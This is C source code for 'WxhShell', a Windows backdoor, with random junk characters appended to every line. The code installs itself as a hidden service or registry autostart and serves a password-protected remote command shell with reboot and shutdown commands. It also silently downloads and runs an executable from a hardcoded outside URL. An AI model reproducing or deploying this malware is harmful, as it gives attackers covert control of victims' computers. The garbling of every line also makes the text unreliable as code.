} PROCESS_BASIC_INFORMATION; :a`m9s 4
H%V[%
T4=
PROCNTQSIP NtQueryInformationProcess; YzVLa,[
"[,XS`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ' JVvL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b?,y%D)'
T9yW# .
HANDLE hProcess; 7 |A,GH
PROCESS_BASIC_INFORMATION pbi; P@ u%{
Nq3P?I(<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D:0PppE
if(NULL == hInst ) return 0; Z]CH8GS~<
pj`-T"Q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .`9KB3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6cvm\opH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ujedvw;sO
Qw+">
if (!NtQueryInformationProcess) return 0; =lnz5H
8V=o%[t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bzS [X
if(!hProcess) return 0; sa($3`d
P^ VNB
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gsAO<Fy
"-oC,;yq
CloseHandle(hProcess); {cFei3'q
5;*C0m2%i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %K4-V5f
if(hProcess==NULL) return 0; 5s9~rm
kaLRI|hC
HMODULE hMod; lHU$A;
char procName[255]; ]SI`fja/
unsigned long cbNeeded; f~Su F,o@h
iGIaZ!j aW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s.U p<Rw
,&$Y2+
CloseHandle(hProcess); gQ[4{+DSf
w~`P\i@
if(strstr(procName,"services")) return 1; // 以服务启动 ]z,?{S
7gkHKdJoMA
return 0; // 注册表启动 %k~=iDk@
} wFD.3!
%AFy{l
// 主模块 f]EHDcC3X
int StartWxhshell(LPSTR lpCmdLine) /"U<0jot
{ =J,:j[D(
SOCKET wsl; 711z-
BOOL val=TRUE; d@<XR~);
int port=0; JQb]mU%?
struct sockaddr_in door; >HDK<1 >
3f3?%9
if(wscfg.ws_autoins) Install(); ZO,]h9?4
nsPM`dz/
port=atoi(lpCmdLine); $I'ES#8P6
pd|s7
if(port<=0) port=wscfg.ws_port; <MYD`,$yu
|G1U$p
WSADATA data; TM+7>a$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B`vV[w?
8ViDh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~HELMS~-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m4EkL
door.sin_family = AF_INET; ~[C m#c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^^v!..V]J
door.sin_port = htons(port); .hvIq
.vr
>7n(*M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yk=H@`~!
closesocket(wsl); /q=<OEC
return 1; t((0]j^
} vm(% u!_P
*StJ5c_kg2
if(listen(wsl,2) == INVALID_SOCKET) { U@9n7F
closesocket(wsl); 6 R!0v8
return 1; uB%`Bx'OW
} # RtrHm
Wxhshell(wsl); PKP(:3|
WSACleanup(); j9Lc2'
n7S[ F3
return 0; 3V-pLs|
$I_aHhKt
} 0j*8|{|
WPPmh~:
// 以NT服务方式启动 6s6[sUf=l&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) noacnQ_I$
{ YcIk{_N3
DWORD status = 0; /t816,i
DWORD specificError = 0xfffffff; t({:TQ
s>kzt1,x
serviceStatus.dwServiceType = SERVICE_WIN32; v8LKv`I's
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )0NA*<Q+.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; us/x.qPy2
serviceStatus.dwWin32ExitCode = 0; /V,:gLpQ
serviceStatus.dwServiceSpecificExitCode = 0; 8 }-"&-X
serviceStatus.dwCheckPoint = 0; WKN\*N <
serviceStatus.dwWaitHint = 0; spJB6n(
;lP)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1:8ZS
if (hServiceStatusHandle==0) return; "]sr4Jg=
zgLm~
status = GetLastError(); U:_&aY_
if (status!=NO_ERROR) :Bl $c,J
{ xC|7"N^/
serviceStatus.dwCurrentState = SERVICE_STOPPED; *r%=p/oQ}B
serviceStatus.dwCheckPoint = 0; eOS#@6U=u
serviceStatus.dwWaitHint = 0; N/Z<v* i"
serviceStatus.dwWin32ExitCode = status; g4Tc (k#
serviceStatus.dwServiceSpecificExitCode = specificError; LdA&F&
pI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KX{ S8_
return; 7dAa~!/(
} &QvWT+]c'0
q$K^E
serviceStatus.dwCurrentState = SERVICE_RUNNING; CT/`Kg_
serviceStatus.dwCheckPoint = 0; `a]
/e
serviceStatus.dwWaitHint = 0; [&e}@!8O`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oM J5;
} g,\<fY+4
m,'u_yK
// 处理NT服务事件,比如:启动、停止 Zx3m$.8
VOID WINAPI NTServiceHandler(DWORD fdwControl) syMB~g
{ 8USF;k
switch(fdwControl) euQd
{ J3C"W794}
case SERVICE_CONTROL_STOP: -V(5U!^B
serviceStatus.dwWin32ExitCode = 0; 3HWI;
serviceStatus.dwCurrentState = SERVICE_STOPPED; )abo5
serviceStatus.dwCheckPoint = 0; f.Jz]WXw,
serviceStatus.dwWaitHint = 0; ]@Q14
{ kZfO`BVL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <wa}A!fu
} iB{O"l@w
return; i,,U D
case SERVICE_CONTROL_PAUSE: nXXyX[c4e
serviceStatus.dwCurrentState = SERVICE_PAUSED; CJ?Lv2Td
break; EFhe``
case SERVICE_CONTROL_CONTINUE: p,U.5bX
serviceStatus.dwCurrentState = SERVICE_RUNNING; H;|^z@RB<
break; D.X%wJ8
case SERVICE_CONTROL_INTERROGATE: "QA!z\0\
break; " J$vt`
}; wtaeF+u-R-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *joM[ML` 6
} iN<Tn8-YH6
a>6!?:Rj
// 标准应用程序主函数 *SLv$A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` O-$qT,_
{ @32JMS<
yPKeatH]
// 获取操作系统版本 g?)9zJ9
OsIsNt=GetOsVer(); S'lZ'H /
GetModuleFileName(NULL,ExeFile,MAX_PATH); YEQ}<\B\&
3}2'PC
// 从命令行安装 .(`#q@73
if(strpbrk(lpCmdLine,"iI")) Install(); [T.kwQf4$
D>PB|rS@
// 下载执行文件 .(ki(8Z N
if(wscfg.ws_downexe) { ~}(}:#>T
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M{Wla7
WinExec(wscfg.ws_filenam,SW_HIDE); nTyKZ(#u
} Ub%5# <k|-
v~9PS2
if(!OsIsNt) { >}Za)
// 如果时win9x,隐藏进程并且设置为注册表启动 y.HE3tH
HideProc(); ZF>zzi+@
StartWxhshell(lpCmdLine); b1R%JY7/S
} 6l<q
else RKx"
}<#+
if(StartFromService()) YOd0dKe
// 以服务方式启动 Yc&yv
StartServiceCtrlDispatcher(DispatchTable); 9ssTG4Sa
else ,aU_bve
// 普通方式启动 ^3^n|T7le
StartWxhshell(lpCmdLine); "oz qfh
^g"G1,[%w
return 0; A7C+-N
} b[%sKl
=LC:1zn4
q",n:=PL
lo5,E(7~h
=========================================== ?Bno?\
D<$,v(-
W c{<DE?J
)k&<D*5s
\GO^2&g(
S=*rWh8)%<
" 7LbBS:@3z_
%A|9=x*
#include <stdio.h> F2saGpGH
#include <string.h> R%=u<O
#include <windows.h> 1kEXTs=,
#include <winsock2.h> IVjH.BzH9
#include <winsvc.h> x* ?-KS|
#include <urlmon.h> Rt} H.D
#
zW+X5yK
#pragma comment (lib, "Ws2_32.lib") m0DD|7}+
#pragma comment (lib, "urlmon.lib") KmG*`Es
W1dpKv
#define MAX_USER 100 // 最大客户端连接数 n6Je5fE
#define BUF_SOCK 200 // sock buffer ?); 6]"k:3
#define KEY_BUFF 255 // 输入 buffer #N.W8mq
G>&Ta p>
#define REBOOT 0 // 重启 j^-E,YMC
#define SHUTDOWN 1 // 关机 1t w>C\
c6.S jV
#define DEF_PORT 5000 // 监听端口 >\6Tm
ND $m|V-C
#define REG_LEN 16 // 注册表键长度 FrT.<3
#define SVC_LEN 80 // NT服务名长度 ce7$r*@!
va 7I_J
// 从dll定义API _IYd^c
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $a.fQ<,\X
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }tJRBb
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oM\b>*
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R-QSv$
R!{^qHb
// wxhshell配置信息 OCHjQc
struct WSCFG { HEh,Cf7`'
int ws_port; // 监听端口 mUSrC U_}
char ws_passstr[REG_LEN]; // 口令 mqe83 k%
int ws_autoins; // 安装标记, 1=yes 0=no 2MY-9(no
char ws_regname[REG_LEN]; // 注册表键名 l ld,&N8
char ws_svcname[REG_LEN]; // 服务名 ~C M%WvS
char ws_svcdisp[SVC_LEN]; // 服务显示名 r'*x><m'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 <5@VFRjc
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y#tuwzE
int ws_downexe; // 下载执行标记, 1=yes 0=no E&>3 {uZI
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8k~$_AT>u
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p6S{OUiG
(dvsGYT|.
}; 3QSA|
E3hql3=
// default Wxhshell configuration oW
! Z=;
struct WSCFG wscfg={DEF_PORT, J n>3c
"xuhuanlingzhe", }Br=eaY
1, ]? 2xS?vd
"Wxhshell", r{LrQ
"Wxhshell", D@W[Nd5MJ
"WxhShell Service", =#=<%HPT
"Wrsky Windows CmdShell Service", Y["aw&;#O\
"Please Input Your Password: ", I'h|7y\
1, dlv1liSXL5
"http://www.wrsky.com/wxhshell.exe", 5z/*/F=X
"Wxhshell.exe" <[l0zE5Z8'
}; 7l%]O}!d)
vD-m FC)
// 消息定义模块 vM3 b\yp
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P55QE+B
char *msg_ws_prompt="\n\r? for help\n\r#>"; WNnB
s
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sOVbz2\yb
char *msg_ws_ext="\n\rExit."; TKH!,Ow9A
char *msg_ws_end="\n\rQuit."; ~SzHIVj:6
char *msg_ws_boot="\n\rReboot..."; 2K:Rrn/cR
char *msg_ws_poff="\n\rShutdown..."; Qxb%P<`u
char *msg_ws_down="\n\rSave to "; ^QG;:.3v
MA`.&MA.
char *msg_ws_err="\n\rErr!"; rbt/b0ET
char *msg_ws_ok="\n\rOK!"; #jqcUno
7jS`4,
char ExeFile[MAX_PATH]; l/i7<